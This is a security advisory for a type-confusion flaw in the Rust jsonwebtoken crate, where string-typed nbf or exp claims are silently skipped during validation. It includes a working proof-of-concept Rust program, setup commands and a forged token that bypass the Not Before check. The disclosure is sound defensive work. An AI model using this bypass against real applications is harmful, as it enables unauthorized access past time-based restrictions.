PT-2026-6431 · Crates.Io · Jsonwebtoken

Published

2026-02-03

·

Updated

2026-02-03

CVSS v4.0

5.5

Medium

VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Summary:

It has been discovered that there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic.
When a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library’s internal parsing mechanism marks the claim as “FailedToParse”. Crucially, the validation logic treats this “FailedToParse” state identically to “NotPresent”.
This means that if a check is enabled (like: validate nbf = true), but the claim is not explicitly marked as required in required spec claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like “Not Before” checks) and commit potential authentication and authorization bypasses.

Details:

The vulnerability stems from the interaction between the TryParse enum and the validate function in src/validation.rs.
  1. The TryParse Enum: The library uses a custom TryParse enum to handle claim deserialization:
enum TryParse<T> {
  Parsed(T),
  FailedToParse, // Set when deserialization fails (e.g. type mismatch)
  NotPresent,
}
If a user sends {“nbf”: “99999999999”} (legacy/string format), serde fails to parse it as u64, and it results in TryParse::FailedToParse.
  1. The Validation Logic Flaw (src/validation.rs): In Validation::validate, the code checks for exp and nbf like this:
// L288-291
if matches!(claims.nbf, TryParse::Parsed(nbf) if options.validate nbf && nbf > now + options.leeway) {
  return Err(new error(ErrorKind::ImmatureSignature));
}
This matches! macro explicitly looks for TryParse::Parsed(nbf).
• If claims.nbf is FailedToParse, the match returns false. • The if block is skipped. • No error is returned.
  1. The “Required Claims” Gap: The only fallback mechanism is the “Required Claims” check:
// Lines 259-267
for required claim in &options.required spec claims {
  let present = match required claim.as str() {
    "nbf" => matches!(claims.nbf, TryParse::Parsed( )),
    // ...
  };
  if !present { return Err(...); }
}
If “nbf” IS in required spec claims, FailedToParse will fail the matches!(..., Parsed( )) check, causing the present to be false, and correctly returning an error.
However, widely accepted usage patterns often enable validation flags (validate nbf = true) without adding the claim to the required list, assuming that enabling validation implicitly requires the claim’s validity if it appears in the token. jsonwebtoken seems to violate this assumption.
Environment:
• Version: jsonwebtoken 10.2.0 • Rust Version: rustc 1.90.0 • Cargo Version: cargo 1.90.0 • OS: MacOS Tahoe 26.2
POC:
For demonstrating, Here is this simple rust code that demonstrates the bypass. It attempts to validate a token with a string nbf claiming to be valid only in the far future.
create a new project:
cargo new nbf poc; cd nbf poc
add required dependencies:
cargo add serde --features derive
cargo add jsonwebtoken --features rust crypto
cargo add serde json
replace the code in src/main.rs with this:
use jsonwebtoken::{decode, Validation, Algorithm, DecodingKey, Header, EncodingKey, encode};
use serde::{Deserialize, Serialize};

#[derive(Debug, Serialize, Deserialize)]
struct Claims {
  sub: String,
  nbf: String, // Attacker sends nbf as a String
  exp: usize,
}
fn main() {
  let key: &[u8; 24] = b"RedMouseOverTheSkyIsBlue";

  // nbf is a String "99999999999" (Far future)
  // Real nbf should be a Number.
  let my claims: Claims = Claims {
    sub: "krishna".to string(),
    nbf: "99999999999".to string(), 
    exp: 10000000000, 
  };

  let token: String = encode(&Header::default(), &my claims, &EncodingKey::from secret(key)).unwrap();
  println!("Forged Token: {}", token);

  // 2. Configure Validation
  let mut validation: Validation = Validation::new(Algorithm::HS256);
  validation.validate nbf = true; // Enable NBF check

  // We do NOT add "nbf" to required spec claims (default behavior)

  // We decode to serde json::Value to avoid strict type errors in our struct definition hiding the library bug.
  // The library sees the raw JSON with string "nbf".
  let result: Result<jsonwebtoken::TokenData<serde json::Value>, jsonwebtoken::errors::Error> = decode::<serde json::Value>(
    &token, 
    &DecodingKey::from secret(key), 
    &validation
  );

  match result {
    Ok( ) => println!("Token was accepted despite malformed far-future 'nbf'!"),
    Err(e) => println!("Token rejected. Error: {:?}", e),
  }
}
run cargo run
expected behaviour:
Forged Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJrcmlzaG5hIiwibmJmIjoiOTk5OTk5OTk5OTkiLCJleHAiOjEwMDAwMDAwMDAwfQ.Fm3kZIqMwqIA6sEA1w52UOMqqnu4hlO3FQStFmbaOwk
Token was accepted despite malformed far-future 'nbf'! Impact:
If an application uses jsonwebtoken nbf (Not Before) to schedule access for the future (like “Access granted starting tomorrow”).
By sending nbf as a string, an attacker can bypass this restriction and access the resource immediately.
and for the exp claim (this is unlikely but still adding), If a developer sets validate exp = true but manually handles claim presence (removing exp from required spec claims), an attacker can send a string exp (e.g., “never”) and bypass expiration checks entirely. The token becomes valid forever.

Fix

Type Confusion

Weakness Enumeration

CWE-843

Related Identifiers

GHSA-H395-GR6Q-CPJC

Affected Products

Jsonwebtoken